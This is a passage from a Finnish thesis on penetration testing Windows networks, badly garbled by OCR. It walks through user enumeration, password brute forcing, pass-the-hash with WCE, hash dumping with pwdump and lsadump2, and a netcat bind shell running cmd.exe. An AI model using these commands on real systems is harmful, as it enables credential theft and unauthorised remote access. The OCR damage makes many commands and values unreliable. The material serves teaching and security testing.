Jakojen ja toimialueiden liséksi null-yhteydestd on mahdollista saada kayttajanimet seka
muuta niihin liittyvaa tietoa, jotka Windows antaa melkoisen helposti. Kuvassa 18 ky-
seiset tiedot on hankittu DumpSec:lIa.

#. Somarsoft DumpSec (formerly DumpAcl) - W10.30.3.3

File Edit Search Report ‘Wiew Help

UserHame ExpiresTime LastlLogonTime LastLogonServer
Administrador B1/18/26887 12:28 18.38.3.3

Administrador 81718720687 12:28 p.m.

Administrador 0y g1/18/2007 12:28 p.mn. 16.38.3.3
ASPHET v Heuver 18.38.3.3
ASPHET " Heuwer 18.38.3.3
desarrollo 1d 23/03/72807 12:19 p.m. 108.38.3.3
desarrollo 1 g 23783728687 12:19 p.m. 18.38.3.3
ILS AHOHYHOUS USER v Hever 18.30.3.3
ILS AHOHYHOUS USER v Hever 168.38.3.3
Invitado I Hever 18.38.3.3
Invitado " NHever 18.38.3.3
TsInternetlser " Hever 18.38.3.3
Tsinternetlser 1 Hever 18.38.3.3

Kuva 188: Kayttajanimien hankinta DumpSec:ll& (DragonJAR 2008.)

Toisena vaihtoehtona on kayttaa sovelluksia user2sid ja sid2user, joissa kéayttajatunnus-
ten selvittdminen perustuu SID (Security IDentifier)- ja RID (Relative IDentifier)-
numeroihin. Kuvassa 19 ndkyy kuinka user2sid:& on kaytetty SID-numeron selvittdmi-
seksi. Kuvaan merkitty osio on SID-numero. (McClure ym. 2012, 120 — 122; Mic-
rosoft 2013.)

C:\Documents and Settings\User>cd \

C:\>cd usersid

C:\usersid>user2sid \\192.168.48.128 guest

$-1-5-21-861567501-1383384898-839522115:-561

Number of subauthorities is 5
Domain is THENGUIR2068

Length of SID in memory is 28 hytes
Type of SID is SidTypelser

Kuva 19: user2sidin kayttd SID-numeron selvittdmiseksi (Bangash Hacker 2013.)

Kuvassa 20 kaytetdan sid2useria selvittdmaan tietyn tyyppisen kayttajan kayttajanimi.
Ensimmainen merkitty numerosarja on edellisessd kuvassa nakyva SID-numero ja jal-

kimmainen numero on paakayttajan tunnusta vastaava RID-numero.
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C:\usersid>sid2user \\192.168.46.128 5 21 8615675601 1383384898 839522115 568

Name is Administrator
Domain is THENGUIR208808
Type of SID is SidTypelser

Kuva 190: sid2userin kaytto paakayttajan tunnuksen selvittamiseksi (Bangash Hacker 2013.)

Microsoftin AD:hen (Active Directory) ja erityisesti siihen liittyvasta LDAP:sta
(Lightweight Directory Access Protocol) saa hankittua tietoja kayttajistd ja kayttdja-
ryhmistd. Tdma on kaiken liséksi AD:n ja LDAP:n normaalia toimintaa ja Windowsille
loytyy tarkoitusta varten virallinen sovellus, Active Directory Administration Tool
(Idp.exe). Taman sovelluksen avulla otetaan yhteys DC:hen portin 389 tai portin 3268
kautta. Yhteyden muodostuksen jalkeen sovellukselle annetaan toimialueen juuren tie-
dot. Esim. dc=esimerkki, dc=fi. Yhteyden muodostuksen ja DC:n tietojen antamisen
jalkeen saadaan kayttoon AD:stakin tuttu puundkymd, josta esimerkki kuvassa 21.
(McClure ym. 2012, 140 — 142.)

|4, Mdap://hi-server010.HotITem.local/DC=HotITem,l
Connection Browse View Options Utilities

=l- DC=HotITem,DC=local

- OU=Beheer,DC=HotITem,DC=local

.- CN=Builtin,DC=HotITem,DC=local

..CN=Computers,DC=HotITem,DC=local

L OU=Domain Controllers,DC=HotITem,DC=local
- OU=Updates-Maandag,OU=Domain Controllers,D
L. OU=Updates-Woensdag,OU=Domain Controllers,|

[=]- CN=Users,DC=HotITem,DC=local

. L. CN=test user,CN=Users,DC=HotITem,DC=local
.. CN=test user2,CN=Users,DC =HotITem,DC=local

Kuva 201: Idp.exe sovelluksen avulla saa hankittua kayttajanimia (Gerard, N. 2009.)

IPSec (Internet Protocol Security) VPN ja siihen liittyva IKE (Internet Key Exchange)
muodostavat yhdessé suhteellisen tietoturvallisen yhdistelmén liikenteen salaamiseen.
IPSec VPN:n olemassaoloakin on hyvin hankala paljastaa tavallisen porttiskannauksen
keinoin, silla IPSec:n luonteeseen kuuluu, ettd vaarin muodostetut paketit hylataan kai-
kessa hiljaisuudessa. Aukoton tdmakaén ratkaisu ei ole kuten kuvasta 22 voi néhda.
Merkityll& alueella on salaukseen liittyvat yksityiskohdat. (McClure ym. 2012, 153 —
154; Rebootuser 2013.)
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:~/Desktop# ike-scan -A -M -Pkey 192.168.0.10
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.0.10 gressive Mode Handshake returned
(Y-R=4fdeeb2d59feb296)
=3DES Hash=SHA1l Auth=PSK Group=2:modpl024 LifeType=Seconds LifeDu
07080)
e(128 bytes)
6 bytes)
ID(Type=ID IPV4 ADDR, Value=192.168.0.10)
Hash(20 bytes)
VID=afcad71368alf1c96b8696fc77570100 (Dead Peer Detegtion v1.9)

Ending i} an 1.9: 1 hosts scanned in 0.032 seconds (31.17 hosts/sec).
rned handshake; © returned notify

Kuva 212: ike-scanin kayttd VPN yhteyden salauksen murtamisessa (Rebootuser 2013.)

Ike-scan sovelluksen mukana tulee myods psk-crack niminen sovellus, jolla voidaan
murtaa salauksen avain, jos se selvisi ike-scanin ajon aikana. (McClure ym. 2012, 153
— 154.)

3.3 Hyokkays

Hyokkaykset voidaan jakaa kahteen kategoriaan. Todentamattomat hyokkaykset,
joissa hyodynnetddn aiemmin hankittuja tietoja. Todennetut hyokkaykset perustuvat
ensiksi mainittujen tuloksiin. Todentamattomissa hyokkéayksissd hyokkéaaja (testaaja)
sijaitsee vield jarjestelman ulkopuolella. Todennetuissa hydkkéyksissa ollaan jo jérjes-

telmén sisélld, mutta oikeuksia tarvitaan lisad. (McClure ym. 2012, 161.)

3.3.1 Todentamattomat hyokkaykset

Todentamattomat hyokkaykset voidaan edelleen jakaa neljadn osa-alueeseen: Toden-
nuksen vaarennys, Verkon palvelut, Asiakasohjelmien haavoittuvuudet ja Laiteajurit.
(McClure ym. 2012, 162.)

Todentamisen véérentdminen tarkoittaa salasanan arvaamista sanaston avulla, sen mur-
tamista menetelmilld, jossa kéytetddn raakaa laskennallista voimaa (brute force) tai
kayttamalla mies valissa hyokkaysta (man in the middle). Testaajan ollessa vield jarjes-
telmén ulkopuolella todentamiseen kéytetddn arvaamista ja monesti sen kohteena on
SMB-palvelu, MSRPC(Microsoft Remote Procedure Call), TS (Terminal Services),
SQL(Structured Query Language) seka Sharepoint. Monissa Windows-versioissa SMB
on kuitenkin oletuksena estettynd, mutta poikkeuksena on kuitenkin ne koneet, jotka
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toimivat DC:nd. Kun yhteys SMB:hen on saatavilla, yksinkertaisinta on yrittda ottaa
yhteys johonkin jakoon, kuten esimerkiksi null-yhteyden yhteydessd mainittuun
IPCS$:iin ja arvata sopivalle kayttajatunnukselle salasanaa. Todentamistietojen selvitta-
minen on Kuitenkin nopeampaa ja tehokkaampaa, jos sen apuna kayttd4 jonkinlaista
sanastoa ja arvailun suorittaa jollakin skriptikielella. Tarkoitukseen 16ytyy myos valmii-
ta sovelluksia. (McClure ym. 2012, 162 — 164.)

TS:n kautta salasanan selvittdminen onnistuu valmiilla sovelluksella (tsgrinder). Tsgrin-
der selvittdd oletuksena paakayttdjan (Administrator) salasanaa omalla sanastollaan,
mutta muidenkin kayttajien salasanan selvittdminen on mahdollista. TSgrinder toimii
parhaiten vanhempia Windows-versioita vastaan ja vanhempien RDC versioiden kans-
sa. Kuvassa 23 on esimerkki tsgrinder ohjelman kaytostad. Kuvan esittdmassa tilanteessa
on kaytetty muuta kuin tsgrinder ohjelman omaa sanastoa. (McClure ym. 2012, 164 —
165; Roth, M. 2006.) Kuvaa on tiivistetty alkuperaisesté.

CAWINDOWS\system32\cmd. exe -0l x
Ntsgrinder-2.0830tsgrinder.exe —w testdict -1 testleet -b -n 1 -D 8 192.168.62.53

failed

failed

failed

failed

failed

failed

failed

- failed

-~ failed

failed

- failed

-~ failed

failed

- failed

1 pBS5word - fFailed

pBSS5ulrd failed

PaSSword - failed

PaS5uwlrd ~ failed
PES5ulrd?! - success?

Kuva 223: tsgrinderin kaytté omalla sanastolla (Roth, M. 2006.)

Arvailua houkuttelevampi keino on kaapata tieto verkkoliikenteestd. Windows-
jarjestelmid vastaan hyokatessa tdma tarkoittaa LM (LAN Manager), NTLM (NT LAN
Manager) tai Kerberokseen liittyvén liikenteen kaappaamista. LM todentamisprotokol-
lana on vanhentunut, mutta sitd saattaa edelleen l6ytya joistakin verkoista. Sittemmin
Windowsissa on siirrytty NTLM protokollaan. Saatavilla on useita sovelluksia tahén
tarkoitukseen, mutta useassa sovelluksessa kaapatut tiedot pitéa siirtad erilliseen sa-
lasananmurtosovellukseen. Kuvassa 24 on esitetty Cain-sovellus, joka voi kaapata lii-
kennettd ja murtaa salasanan. (McClure ym. 2012, 170 — 172; Dunstan, P. 2011.)
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Traceroute [EB cc0U [T Weess [55 Qoery |

T Prisweds —TTlmp |58 . | Chient | Usermame | Domasin | Pazow. | ButhType | LMHath
Lrrm [0/t - 203537 | 10003 | 100014 POUNSTAN | |
28 HTTP (184} 042001 - 02517 10003 100014 Adminntriter POUNSTAN wl
;!mm Send Al to Cracher

B L0wp )
'? POPZ M) Remeve Delete

wh SME (1) Rereeove AN
B Telnez )
g vhe m)

o 50

o THE )

153 TP (1)
£ NNTP B
3 ocemrc )

= Decoders

Kuva 234: Cain:lla voi kaapata verkon liikennetté ja murtaa salasanan (Dunstan, P. 2011.)

Mies vélissa hyokkayksissd hyokkééja asettuu esimerkiksi palvelimen ja kéayttajan vé-
liin. Hyokkadja ohjaa liikenteen kulkemaan oman laitteensa kautta ja pystyy lukemaan
sitd. Edelld mainitusta Cain-sovelluksesta 16ytyy mahdollisuus mies valissd hyokkayk-
seen. Kuvassa 25 on esitetty mies valissad hyokkays. (McClure ym. 2012, 173 — 174;
OWASP 2009.)

Victim Web Server
MITM
Connection

Attacker

Kuva 245: Mies vélissé hydkkays (OWASP 2009.)

Pass-the-Hash hyokkéyksessa péaésy jarjestelméan saadaan salasanaan liittyvéan tarkis-
teen avulla, joten salasanan arvaaminen tai selvittdminen on tarpeetonta. Pass-the-Hash
hyokkays toimii sellaisia palveluita vastaan, jotka k&yttavat todentamiseen LM:&4 tai
NTLM:@a. On olemassa tekniikoita, joissa kaytetdan tarkisteita ja Windows-
kayttojarjestelmasta 16ytyvia sovelluksia, kuten esimerkiksi Internet Exploreria, otta-

maan yhteys sellaisiin palveluihin, jotka kayttdvat NTLM todentamista. Kuvassa 26 on
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kaytetty WCE nimista sovellusta NTLM tarkisteen selvittdmiseen ja kayttoonottoon.
Tama keino kuitenkin vaatii, etté testaajalla on kaytossaén paikallisen paakéayttajan tun-
nukset. (McClure ym. 2012, 175 — 176; Amplia Security 2012.)

C:\Users\test>wce.exe

WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Secunty - by Heman Ochoa
(hernan@ampliasecurity.com)

Use -h for help.

theuser:amphalabs:01FC5A6BE7BC6929AAD3B435B51404EE: 0CB6948805F 797BF2A82807973BB9537

C:\Users\test>

C:\Users\test>wce.exe -s
testuser:amplialabs:01FCSAGBE7BC6929AAD3B435B51404EE: 0CB6948805F 797BF2AB2807973B89537

WCE v1.2 (Windows Credentials Editor) - {c) 2010,2011 Amplia Security - by Hernan Ochoa
(hernan@ampliasecurity.com)
Use -h for help.

Changing NTLM credentials of current logon session {00024E1Bh) to:
Usermname: testuser

domain: amplialabs

LMHash: 01FCSAGBETBCE6929AAD3B435B51404EE

NTHash: 0CB6948805F737BF2A82807973B89537

NTLM credentials successfully changed!

Kuva 26: WCE:n kayttd NTLM tarkisteen selvittdmiseksi ja k&yttoonottamiseksi (Amplia Security 2012.)

Kerberos todennuksen kayttdmien tikettien hankkiminen p&é&syn saamiseksi kohdejar-
jestelmédan on hyvin samanlainen kuin pass-the-hash. Kun yhdelle laitteelle on péaésy
kohdeverkossa, voidaan samalla sovelluksella kuin pass-the hash hydkkéayksessa, tallen-
taa Kerberokseen liittyvat tiketit. Tallennetut tiketit voi sitten ottaa kayttéon omalla tie-
tokoneellaan ja sitten ottaa yhteyden kohteen jarjestelmiin ja palveluihin tavanomaisten
Windows-sovellusten kautta. Kuvassa 27 on esimerkki Kerberos tikettien selvittamises-

t4 ja tallentamisesta. (McClure ym. 2012, 176 — 177.)
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¥ Kerberos tlkettlken selwttamlnen

WCE vl1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Securit

by Hernan Ochoa <t;»:'rr:;1:;r'*;1‘:;_'_;_1:_:'—;_‘1_;:‘_:','.::::1
e -} elp

..... rerycar 1 UN O Lile = ~ache
rerting ar ts in W at to f£i _krbtkt
[‘H | I ¢ = 1 '
rhe : <rt .
s |
cols >wce -kj| SeIVItettyjen tikettien kayttddnotto

WCE vl1.2 (Windows Credentials Editor) (c) 2010,2011 Amplia Security

Hernan Ochoa {(hernanfampliasecurity.com)

Use -h for help.

Kuva 257: WCE:n kayttd Kerberos tikettien selvittamiseksi ja tallentamiseksi (McClure ym. 2012.)

Nykyéaén on saatavilla sovelluksia (esim. Metasploit), joiden kirjastoissa on mittava
valikoima erilaisia hyvaksikéayttokeinoja valmiina kayttoon. Testaajan ei kuitenkaan
tarvitse tyytyd vain painamaan nappia ja toivomaan parasta, silla hyvéksikéayttokeinoja
saa muokattua sopimaan kuhunkin tilanteeseen. On mahdollista myds ottaa kayttoon
mm. IDS:n véistotekniikoita. Taméan tyyliset sovellukset eivat kuitenkaan poista tarvetta
perusteelliselle tiedon hankinnalle kohteesta, mutta sitd voi helpottaa. Metasploit sovel-
lukseen voi luoda tietokannan tiedonkeréyksen tuloksia varten ja monia suosittuja tyo-
kaluja, kuten esimerkiksi nmap:a voi suorittaa suoraan Metasploitin siséltg, jolloin tu-
lokset siirtyvat suoraan tietokantaan. (McClure ym. 2012, 79 — 81 & 170 — 172.)

Monet loppukayttajan kayttaméat sovellukset altistavat kohteen hyokkayksille, silla mo-
net niistd avaavat portin Internetiin, jotkut jopa kayttéjien tietdmattd. Haavoittuvuustie-
tokannat tarjoavat néiden keinoja ndiden sovellusten hyvaksikayttdon kohdeverkkoon
murtautumisessa. Kuten palveluiden hyvaksikaytdssa edelld, myds loppukayttajan so-
vellusten hyvéksikéyttéon voi kayttda Metasploit:a. Kuvassa 28 on esitetty 50 kayte-
tyimmaén sovelluksen haavoittuvuuksien maara vuonna 2012. (McClure ym. 2012, 181.)
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GOOGLE CHROME

2

MOZILLA FIREFCE
APPLE ITUNES

ADOBE FLASH PLAYER.
ORACLE |AVA JRE SE

ADOBE AIR

MICROSOFT WINDOWS 7

ADOBE READER

MICROSOFT INTERMET EXPLORER

MICROSOFT .MET FRAMEWORK

APPLE QUICKTIME

2

VLC MEDIA PLAYER

MICROSOFT EXCEL
MICROSOFT VISIOWIEVWER
MICROSOFT SILVERLIGHT

MICROSOFT WORD

SKYPE

MICROSOFT XML CORE SERVICES (M5XML)

Kuva 268: 50 kaytetyimmaén sovelluksen haavoittuvuudet 2012 (Secunia ApS 2013.)

Laiteajurit ovat myos hyvaksikaytettavissa jarjestelmaan tunkeutuessa ja niiden hyvak-
sikaytto ei aina valttdmatta vaadi lainkaan fyysistd kosketusta kohdejarjestelmaén. Pa-
himmassa tapauksessa edes padsya kohteen tiloihin ei vaadita. Laiteajurien hyvaksikayt-
t6 muodostui keinoksi kun Johnny Cache, HD Moore ja skape huomasivat, ettd Win-
dowssin WLAN-ajureita pystyi hyvaksikayttdamaan, kun jokin kohteen laitteista oli
hyokkadjan konfiguroiman AP:n kantaman sisalla. Hyokk&ajan AP lahettad erilaisia
paketteja, jotka sitten tavalla tai toisella hyvéksikéyttavat kohteen WLAN-ajureita.
(McClure ym. 2012, 183 — 184.)

3.3.2 Todennetut hyokkaykset

Kun jarjestelmé&én on padsy joillakin tunnuksilla, taytyy testaajaan laajentaa oikeuksi-
aan. Tama tarkoittaa kaytanndssa Administrator- tai SYSTEM-tason oikeuksia. Yksi
tehokkaimpia keinoja tédhén tarkoitukseen on erilaiset DLL-injektointi hydkkaykset.
Néissd hyokkayksissd Windowsin prosesseihin syotetddn oma koodi ajettavaksi, joka
sitten antaa tavoitellut oikeudet. Windows-jérjestelmissa tdmankaltaista oikeuksien li-
sédamisté kuitenkin haittaa se ettd ne vaativat vuorovaikutteisen Kirjautumisen toimiak-

seen. Suurin osa kayttajista ei todennédkoisesti pysty suorittamaan interaktiivista kirjau-
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tumista palvelimille, mutta tdma ei haittaa testaajaa, jos aiemmin haltuun saadut kéytta-

jatunnukset kuuluvat joihinkin monista Windows kayttojarjestelman “operaattori”-

ryhmistd. Kuvassa 29 on esitettynd interaktiivinen kirjautuminen. (McClure ym. 2012,
185; Microsoft 2013; Lowe, S. 2008.)

Log on to:
How do1log on to another domain?

| = < |

1ﬁ/Windows Server 2008
Standard

Kuva 29: Windows-kayttéjarjestelmén interaktiivinen kirjautuminen (Samuel, J. 2012)

Padkayttajataso eivat kuitenkaan ole se ylin oikeuksien taso joka voidaan saavuttaa,
niiden ylapuolella on kuitenkin vield SYSTEM tason oikeudet. Saavutettuaan paakayt-
tajan oikeudet SYSTEM oikeuksien saavuttaminen tapahtuu kayttdmalla komentokeho-
tetta ja Windows kayttojarjestelmén Scheduler palvelua kuvan 30 osoittamalla tavalla.
(McClure ym. 2012, 185; Lowe, S. 2008; Microsoft 2008.)

B CA\Windowssystem3Zicmd exe

C:w2>Civat 14:43 AINTERACTIVE cmd.exe

Kuva 30: Windows Scheduler palvelun kdyttd SYSTEM tason oikeuksien saavuttamiseksi

Padkayttajan tunnukset saatuaan testaajan seuraava kohde on salasanojen tarkisteet, jot-

ka sijaitsevat paikallisten tunnusten osalta SAM tiedostossa (Security Accounts Mana-
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ger) tai Domain Controllerilla toimialueen tunnusten osalta. Vaikka testaaja saisi késiin-
sé& vain SAM tiedoston siséltamat paikalliset tunnukset, on silti mahdollista 10ytda tun-
nuksia joilla on paasy esimerkiksi Domain Controllerille. Tdma johtuu monesti siité etta
kaikille paakayttajatunnuksille annetaan sama salasana. Testaajan ei siis kannata sivuut-
taa paikallisia tunnuksia. (McClure ym. 2012, 187.)

Salasanojen tarkisteiden hankkimiseen on useita keinoja. Erds keino on kayttaa
pdwdump sovellusta, jonka avulla kuvassa 31 on hankittu NTLM tarkisteet. (McClure
ym. 2012, 187; Dagenais, T. 2013.)

BN C\Windows\system32\cmd.exe

C:xUserssDubleeble~Desktop~New folder>pudump?.exe
Pudump v?.1 - raw password extractor

Author: Andres Tarasco Acuna

url: http:/7www.514.es

Hdministratur:SBE:NO PAS S WORD=sexacrmaxenscrcxmaxanx: 31 D6 CFEAD16AE? 31 BY3C59DVEBCAS
2CH:

Gue.,t 5@1 L e e N N s I e e ) N e o e 2 s ]

Duhleehle 1808 :NO  PAS S L0 D530 550 36030 3850 36 556 36536 536 36336 56 2 8523DB3C?ECS4EBB1E39DERH3BF7CF5B

ggsggtnupuoel$-1882-ﬂﬂ PASSUORDseeseessestsensemssesesesnsnsnn: B24F6B2D6AE34EPAIDS57050A 78

HSPNEi;iEE9:N0 PASSUORD e semm e nacrenxxax 221 EADCS E20ECFI439ACSA472D7BAYB1 ==
UpdatusUser:1811 N0 PASSWORDseeaaanaaaaaaaaaaaaa:: B45 73F1 N C1164AFC3DEL1285D3D
e

C:xUsers~DubleeblexDesktop New folderi pause
Press any key to continue . . .

Kuva 31: pwdump sovelluksella selvitetyt tarkisteet (McClure ym.2012, 187; Dagenais, T. 2013.)

Salasanoja saa selville SAM tiedoston ja DC:in lisdksi myds esimerkiksi Windowsin
rekisteristd, jossa LSA (Local Security Authority) sisaltdd useita eri salasanoja. Néista
esimerkkind mainittakoon kymmenen tietokoneelle viimeksi kirjautuneen kayttajan sa-
lasanan tarkiste ja palvelutunnusten (service account) salasanoja selkokielising, jotka
voivat altistaa hyvaksikaytolle myds muita toimialueita. Kuvassa 32 on kaytetty Isa-
dump2 sovellusta selvittaméan salasanoja. . (McClure ym. 2012, 195 — 196; Damele,
B. 2011.)
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Ci\>lsadump?2

= —— T Salasanoja
EMACHINE.ACC]| Kone tunnus
bE © 00 76 00 68 00 &8 00 5A 0O 0 h.h.2.0.A

o 00 50 00 eC 00 41 ) f.h.P.1.A.5
J_:-'_ Server | SQL-palvelu

32 00 71 00 30 00 71 00 71 00 31 00 &1 00 P.d.8.8.Ww.0.r.d
[SC_SQLServerAgent]| sal-palvelu

32 00 6D 00 71 00 30 00 71 00 71 00 31 00 81 0O P.d.5.5.W P

Kuva 32: Isadump?2 sovelluksen LSA:sta selvittdmia selkokielisia salasanoja (McClure ym.2012, 196.)

Tarkisteita olisi mahdollista kayttaa sellaisenaan, kuten kappaleessa 3.2.1 esitetiin, mut-
ta mm. testauksen tulosten kannalta on térkedd selvittdd salasanat tarkisteista. Salasano-
jen murtamiseen on tyyleja. Sanastohyokkays perustuu nimenséd mukaisesti sanastoon,
jossa on erilaisia salasana vaihtoehtoja, joita sitten verrataan tarkisteisiin. Aikaisemmin-
kin mainitussa brute force-menetelmdssa tarkisteita verrataan satunnaisia merkkijonoja
kunnes salasana selvidd. Kummassakin keinossa on heikkoutensa: sanasto ei valttamatta
ole tarpeeksi kattava ja brute-force menetelma liiankin kattava, vaikka sen kayttamaa
merkistod pystyy rajoittamaan. Useat sovellukset tarjoavatkin keinoja rajoittaa tai hie-
noséataa salasanamurtamista. Kuvassa 33 on esitettyna LCP sovelluksen sanastohyok-
kéyksen hienosaatdé mahdollisuuksia. (McClure ym. 2012, 191.)

Dictionasy attack | Hybnd attack | Brute force attack | Others

Dichonary attack

v Enabled

Dichonary

v usemames (usemame)

7 key sequences (qweity] Specly... |
¥ dichionary liles D:Mest\dictionary. txt:C:\U sersMest\Downloads\k|
Addbional check

double word [rootroot)

reverse order of characters [drowssap)

concatenation with reverse order (roottoor)

concatenabion of reverse ordes [tooroot)

truncabed word from 1 o |¢ characters [passw)
without vowel: except first character [psswad, accss)

without all voweds [psswd. ccss)

Isters tranchteration [parcl]

subistitution by latin lapout [gfhjkm)

subshitubion by lavout of localzabion

Kuva 273: LCP sovelluksen sanasto hydkkayksen hienosaatdé mahdollisuudet (McClure ym.2012, 191.)

Kuvassa 34 on puolestaan LCP:n suorittaman sanastohyokkayksen tulokset, jotka hyvin

samankaltaiset kuin pwdump:n tulokset (Kuva 32), joskaan niissé ei ndy SID-numeroa.



@ LCP - [C:\Program Files\LCP\PwDump01.ixt.lcp]

File - Wigw

tEe 008 »uam (#e

= Hybrid attack

Import  Session - Help

® ©

" Dichionary attack I Brute force attack

122 4 B43 18,9736 % done

Ending combination: 12377

Dichionary word: 123
Starting combination: 1238

Recovering passwards. .. f of 7 passwords were Found (85, 714%%)

Uszer Mame LM Pazzword MNT Pazzword <8 »14 LM Hazh
BilG TOKOHARA “okoHama SECD9236D21035CET...
ﬂdministratu:ur SCLERDSIS ScleROSIS VACCADZBD3ETII7EE...
fredc CRACKPOT crackpot J4BECZB0487FFE 39441,
bwioa Ay aa u B30 42544E 771408480,
williarn [EPLIMITY impurity DBCRERCEABOZA091E. .
threea LT aaa b 1C3A42B60339210214, .
foura u DCFICAAEDBCZF2DF...

MT Hazh

CO4EB42BIFEETTACE. .
CYEZ26220 B0 3F00C...
B0020E 35601 5FE1342..
CEEE3434F363BE7ICE. ..
EBEEOFEZED246585E .
E24106342BF38BCF5Y...
FASBE487EFFADFOAF..
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Kuva 34: LCP:n sanastohyodkkayksen tulokset (LCPSoft 2013.)

Testauksen madrittelysta riippuen voi olla tarpeen pystya hallitsemaan kohdejérjestel-

mé&a myos etéhallinnan kautta, jonka tarkoituksena on vahvistaa testaajan hallintaa koh-

dejarjestelméstd. Testaajan kayttoon 16ytyy keinoja, jotka toimivat kokonaan komento-

kehotteesta tai sellaisia, joissa tarvitaan sekd komentokehotetta ettd graafista kayttoliit-

tyméaa. Puhtaasti komentokehotteessa pyorivasta etdhallinta keinosta on esimerkki ku-

vassa 35, jossa netcat asetetaan kuuntelemaan tiettyyn porttiin ja kdynnistaméaan tietty

sovellus, kun méériteltyyn porttiin otetaan yhteys. Komentokehote C (C:\) on kohdejar-

jestelman tietokone ja komentokehote D(D:\) testaajan tietokone. (McClure ym. 2012,

200 — 201; Keohan, J. 2010.)



C:\TEMPWNCllWindows>nc -L —-d —e cmd.exe -—-p 8UBO
Asetetaan

:\> ne 192.168.202.44 8080 kohdejarjestelman

tietokone
Otetaan yhteys omalta

kuuntelemaan.
koneelta kohteeseen

Microsoft Windows [Version 6.1.7601)

Copyright (c)} 2009 Microsoi

™ . meEMDA M/ 1 ) L Ay
C:\TEMP\NC11Windows

C:\TEMP\NCl1lWindows>ipconfig
Windows IP Configuration
Ethernet adapter FEM5561:
IP Address. « « « .+ o
192.168,202.44

subnet Mask . o v oo oo e g o2 295802550

- L e

Default Gatewavy

Kuva 3528: Kohteen ottaminen etahallintaan netcat:n avulla (McClure ym.2012, 200 — 201.)

Graafinen etdhallinta, olettaen ettd Microsoftin TS ei ole kdytdssa kohteessa, vaatii so-
pivan etdhallinta sovelluksen asentamista kohteeseen. RealVNC:n VNC:ta (Virtual
Network Computing) on yksi monista. Valittu sovellus (VNC) asennetaan kohteeseen,
jonka liséksi se vaati muutaman rekisteri muutoksen kohteeseen. (McClure ym. 2012,
202 — 204.)

Porttien uudelleenohjaus toimii etdhallinta keinona sellaisissa tilanteissa, joissa palo-
muuri estdd muihin etdhallinta keinoihin liittyvan liikenteen. Porttien uudelleenohjauk-
sessa asetetaan kohde kuuntelemaan sellaista porttia, johon halutaan saada yhteys, esi-
merkiksi netcat:lla (kuva 35). Varsinainen portin uudelleenohjaus asetetaan omalla tie-
tokoneella, esimerkiksi fpipe:n avulla. Kuvassa 36 fpipe on asetettu kuuntelemaan pai-
kallista porttia 53 (DNS) ja ohjaamaan se kohteen porttiin 23 (Telnet). (McClure ym.
2012, 204 — 206; McAfee 2013; Gimer, J. 2009; Klevinsky ym. 2002, 302 — 303.)
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Chomd.exe - fpipe -v -1 53 -r 23 192.168.234.37

DNS  Telnet

i:N\>Fpipe ~v -1 53 -» 23 192.168.234.37 Kohteen IP
Pipe v2.81 - TICP port redirector.

opyright 2008 <{c)> by Foundstone. Inc.
ttp:/Awuw.foundstone.com

istening for connections on port 53
onnection accepted from 192.168.234.36 port 6466
ttempting to connect to 192.168.234.37 port 23
ipe connected:

In: 192.168.234 . .36:6466 —> 192.168.234.41:53
Out: 192.168.234.41:1838 —> 192.168.234.37:23
8 bytes received from outhound connection
hytes received from inbound connection
2 bhytes received from outhound connection

Igggz. received from inbound connection

Kuva 36: Fpipen kaytto porttien uudelleenohjauksessa (McClure ym.2012, 206.)

Testaaja voi nyt ottaa yhteyden paikallisesti, eli fpipe sovellukseen, porttiin 53 Telnet
sovelluksellaan muodostaakseen yhteyden kohteeseen, sill& fpipe ottaa yhteyden netcat
sovellukseen, joka kuuntelee porttia 23 ja ohjaa liikenteen todelliseen kohteeseensa.
Myos paluu liikenne ohjautuu kayttden porttia 53. Portin uudelleen ohjauksen voi to-
teuttaa muillakin porteilla jotka ovat kohteessa auki. (McClure ym. 2012, 204 — 206;
McAfee 2013; Gimer, J. 2009; Klevinsky ym. 2002, 302 — 303.)

3.4 Raportointi

Lopuksi kun kaikki sopimuksessa méaaritellyt toimet on suoritettu, pitdd testauksen tu-
lokset esittda asiakkaalle. Raportin Kirjoittamisessa pitdé4 ottaa huomioon liikkeenjoh-
dolliset seké tekniset asiat. LOydokset tulee esittdd mahdollisimman yksityiskohtaisesti,
kuvaajien ja lukujen avulla yms. tiedon avulla mité testauksen aikana on saatu selville.
Néin saadaan aikaan kunnollinen kuvaus kohdejérjestelmén haavoittuvuuksista ja niiden
vaikutuksesta asiakkaan liiketoimintaan. Raportti usein siséltaa asiakasyrityksen johdol-
le suunnatun tiivistelman, jossa kuvaillaan miten testaus suoritettiin, testauksen tulokset
sekd yleisen tason suositukset tulosten perusteella. Tulosten perusteella tehdadn myos
arvio siita mita suositusten toteuttaminen maksaisi. (Saindane 2013, 9; The Sans Institu-
te 2010.)

Testauksen aikana l0ydetyistd haavoittuvuuksista kuvataan sen lahde ja syy kyseiselle

haavoittuvuudelle, haavoittuvuuden vaikutus, kuinka todenndkoistd on ettd kyseista
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haavoittuvuutta kaytetdan hyvéksi, millaisen riskin haavoittuvuus aiheuttaa ja suositus

ongelman korjaamiseksi. Ndiden kuvausten tukena tulee olla kuvankaappauksia, keino

miten haavoittuvuutta kaytettiin hyvaksi (ohjelma tms.) tai muuta soveltuvaa tietoa.
(Saindane 2013, 9; The Sans Institute 2010.)

Raportin rakenne voisi esimerkiksi olla:

A w0 Do

5
6.
7
8

Kansilehti
Raportin tiedot
Versio
Siséllys
a. Liikkeenjohdolle suunnattu tiivistelma
I. Tyon laajuus
ii. Projektin tavoitteet
iii. Tehdyt oletukset
iv. Aikajana
v. Tulosten tiivistelma
vi. Suositusten tiivistelma
b. Menetelmét
c. Tulokset
I. Haavoittuvuudet
d. Yhteenveto
Kuvaluettelo
Léhteet
Liitteet

Sanasto

(Saindane 2013, 9; The Sans Institute 2010.)
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4 WPK-VERKON HAAVOITTUVUUSANALYYSI

Tassa testauksessa kartoitettiin haavoittuvuuksia TAMK:n verkossa sijaitsevasta WPK-
verkosta. Tdysimittaisesta tunkeutumistestauksesta ei siis ole kyse, mutta monia sen
tekniikoita kéaytettiin. Testauksen lahtokohtana oli ettd testaus suoritetaan verkon sisélta
ja samaa IP-osoitetta on mahdollista kayttaa lapi testauksen. Testauksessa ei tarvinnut
huolehtia havaituksi tulemisesta, silla siitd oli sovittu etuk&teen. Testaus suoritettiin ai-
kana jona kohdeverkon kéyttoaste oli pieni. Testilaitteistona toimi kannettava tietokone

johon oli asennettu Backtrack Linux 5 r3. Muita laitteita ei tarvittu.

4.1 Suunnittelu
